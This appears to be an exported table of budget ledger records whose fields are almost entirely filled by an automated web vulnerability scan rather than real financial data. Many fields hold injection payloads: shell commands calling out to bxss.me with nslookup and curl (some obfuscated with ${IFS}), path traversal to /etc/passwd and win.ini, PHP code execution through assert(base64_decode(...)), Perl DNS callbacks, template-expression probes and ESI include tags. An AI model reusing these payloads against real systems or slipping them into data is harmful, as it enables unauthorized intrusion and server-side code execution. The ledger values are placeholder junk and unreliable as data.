<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;(nslookup -q=cname hitespdwqdzvs3c668.bxss.me||curl hitespdwqdzvs3c668.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitespdwqdzvs3c668.bxss.me||curl hitespdwqdzvs3c668.bxss.me)&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>../1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>file:///etc/passwd</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>(nslookup -q=cname hitjrstnxabgn4f37a.bxss.me||curl hitjrstnxabgn4f37a.bxss.me))</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../../../../../../../../../../../../../../windows/win.ini</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>${9999231+10000459}</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>expr 9000493900 - 930959</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../../../../../../../../../../../../../../etc/passwd</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>HttP://bxss.me/t/xss.html?%00</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>&amp;nslookup -q=cname hitqjoyjsfmmna3dc8.bxss.me&amp;'\"`0&amp;nslookup -q=cname hitqjoyjsfmmna3dc8.bxss.me&amp;`'</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>expr 9000833060 - 945805</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>${@print(md5(31337))}\</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>gethostbyname(lc('hitti'.'ptvlvhvc66387.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(109).chr(69).chr(108).chr(86)</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>'.print(md5(31337)).'</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>";print(md5(31337));$a="</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>gethostbyname(lc('hitwg'.'jmtosjllb523e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(98).chr(71).chr(118).chr(79)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>".gethostbyname(lc("hityk"."ptcskejb9f164.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(85).chr(99).chr(75)."</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>'.gethostbyname(lc('hitkk'.'tsjxvboad3f2c.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(116).chr(89).chr(119).chr(66).'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>gethostbyname(lc('hitne'.'mdxazfyq32430.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(118).chr(68).chr(105).chr(79)</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>".gethostbyname(lc("hitup"."brsdsrbc2b6eb.bxss.me."))."A".chr(67).chr(hex("58")).chr(101).chr(88).chr(114).chr(74)."</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>${10000193+10000465}</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>&amp;(nslookup -q=cname hitteovzcgnti6df6b.bxss.me||curl hitteovzcgnti6df6b.bxss.me)&amp;'\"`0&amp;(nslookup -q=cname hitteovzcgnti6df6b.bxss.me||curl hitteovzcgnti6df6b.bxss.me)&amp;`'</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>${9999619+9999631}</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>|echo xpbxcw$()\ csuebh\nz^xyu||a #' |echo xpbxcw$()\ csuebh\nz^xyu||a #|" |echo xpbxcw$()\ csuebh\nz^xyu||a #</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>${9999425+10000002}</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitmqqkpgmnamc5c84.bxss.me||curl${IFS}hitmqqkpgmnamc5c84.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitmqqkpgmnamc5c84.bxss.me||curl${IFS}hitmqqkpgmnamc5c84.bxss.me)&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>941029707870</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|(nslookup${IFS}-q${IFS}cname${IFS}hitgfytlqvqwk75dbb.bxss.me||curl${IFS}hitgfytlqvqwk75dbb.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|(nslookup -q=cname hitavjjktlpdy9abc7.bxss.me||curl hitavjjktlpdy9abc7.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>../94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>&amp;nslookup -q=cname hituvtjmaclvd4675e.bxss.me&amp;'\"`0&amp;nslookup -q=cname hituvtjmaclvd4675e.bxss.me&amp;`'</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>$(nslookup -q=cname hitckgkvhpbpp0c729.bxss.me||curl hitckgkvhpbpp0c729.bxss.me)</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>echo ehhyxm$()\ ncaich\nz^xyu||a #' &amp;echo ehhyxm$()\ ncaich\nz^xyu||a #|" &amp;echo ehhyxm$()\ ncaich\nz^xyu||a #</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU&lt;esi:include src="http://bxss.me/rpb.png"/&gt;</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>../ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>1</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>|echo trxcal$()\ qsizag\nz^xyu||a #' |echo trxcal$()\ qsizag\nz^xyu||a #|" |echo trxcal$()\ qsizag\nz^xyu||a #</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
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<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitphevibhbwlc6a00.bxss.me||curl${IFS}hitphevibhbwlc6a00.bxss.me)&amp;'\"`0&amp;(nslookup${IFS}-q${IFS}cname${IFS}hitphevibhbwlc6a00.bxss.me||curl${IFS}hitphevibhbwlc6a00.bxss.me)&amp;`'</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>|(nslookup${IFS}-q${IFS}cname${IFS}hituqgcqurfqz9a785.bxss.me||curl${IFS}hituqgcqurfqz9a785.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
<row _id="1"><ledger_type>1</ledger_type><cost_center_type>1</cost_center_type><fund_id>;(nslookup -q=cname hittluiddmenm3d052.bxss.me||curl hittluiddmenm3d052.bxss.me)|(nslookup -q=cname hittluiddmenm3d052.bxss.me||curl hittluiddmenm3d052.bxss.me)&amp;(nslookup -q=cname hittluiddmenm3d052.bxss.me||curl hittluiddmenm3d052.bxss.me)</fund_id><fund_name>ncMUFCMU</fund_name><department_id>1</department_id><department_name>ncMUFCMU</department_name><division_id>1</division_id><division_name>ncMUFCMU</division_name><object>1</object><object_description>1</object_description><category_code>94102</category_code><category_code_description>94102</category_code_description><fiscal_year>1967</fiscal_year><july>1</july><august>1</august><september>1</september><october>1</october><november>1</november><december>1</december><january>1</january><february>1</february><march>1</march><april>1</april><may>1</may><june>1</june><total>1</total></row>
